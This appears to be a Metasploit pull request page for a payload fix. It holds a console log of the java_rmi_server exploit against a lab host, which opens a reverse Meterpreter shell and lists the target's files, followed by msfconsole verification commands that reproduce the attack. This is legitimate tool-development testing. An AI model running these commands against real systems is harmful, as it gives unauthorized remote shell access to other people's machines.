Closed jlee-r7 closed 9 years ago
Note that this does not fix #18
Looks good to me.
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/DgHTWxxF
[*] Server started.
[*] 192.168.56.102:1099 - Sending RMI Header...
[*] 192.168.56.102:1099 - Sending RMI Call...
[*] 192.168.56.102 java_rmi_server - Replied to request for payload JAR
[*] Sending stage (30680 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:60888) at 2015-03-22 20:48:15 -0500
[*] Server stopped.
meterpreter > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40666/rw-rw-rw- 4096 dir 2012-05-13 22:35:33 -0500 bin
40666/rw-rw-rw- 1024 dir 2012-05-13 22:36:28 -0500 boot
40666/rw-rw-rw- 4096 dir 2010-03-16 17:55:51 -0500 cdrom
40666/rw-rw-rw- 13480 dir 2015-03-22 20:47:28 -0500 dev
40666/rw-rw-rw- 4096 dir 2015-03-22 20:47:32 -0500 etc
40666/rw-rw-rw- 4096 dir 2010-04-16 01:16:02 -0500 home
40666/rw-rw-rw- 4096 dir 2010-03-16 17:57:40 -0500 initrd
100666/rw-rw-rw- 7929183 fil 2012-05-13 22:35:56 -0500 initrd.img
40666/rw-rw-rw- 4096 dir 2012-05-13 22:35:22 -0500 lib
40666/rw-rw-rw- 16384 dir 2010-03-16 17:55:15 -0500 lost+found
40666/rw-rw-rw- 4096 dir 2010-03-16 17:55:52 -0500 media
40666/rw-rw-rw- 4096 dir 2010-04-28 15:16:56 -0500 mnt
100666/rw-rw-rw- 7984 fil 2015-03-22 20:47:33 -0500 nohup.out
40666/rw-rw-rw- 4096 dir 2010-03-16 17:57:39 -0500 opt
40666/rw-rw-rw- 0 dir 2015-03-22 20:47:21 -0500 proc
40666/rw-rw-rw- 4096 dir 2015-03-22 20:47:33 -0500 root
40666/rw-rw-rw- 4096 dir 2012-05-13 20:54:53 -0500 sbin
40666/rw-rw-rw- 4096 dir 2010-03-16 17:57:38 -0500 srv
40666/rw-rw-rw- 0 dir 2015-03-22 20:47:22 -0500 sys
40666/rw-rw-rw- 4096 dir 2015-03-22 20:48:15 -0500 tmp
40666/rw-rw-rw- 4096 dir 2010-04-27 23:06:37 -0500 usr
40666/rw-rw-rw- 4096 dir 2012-05-20 16:30:19 -0500 var
100666/rw-rw-rw- 1987288 fil 2008-04-10 11:55:41 -0500 vmlinuz
MSP-12125
Works around a bug in GCJ
Verification
mvn -P deploy package
or see README )msfconsole
use exploit/multi/misc/java_rmi_server
set PAYLOAD java/meterpreter/reverse_tcp
run
ls
/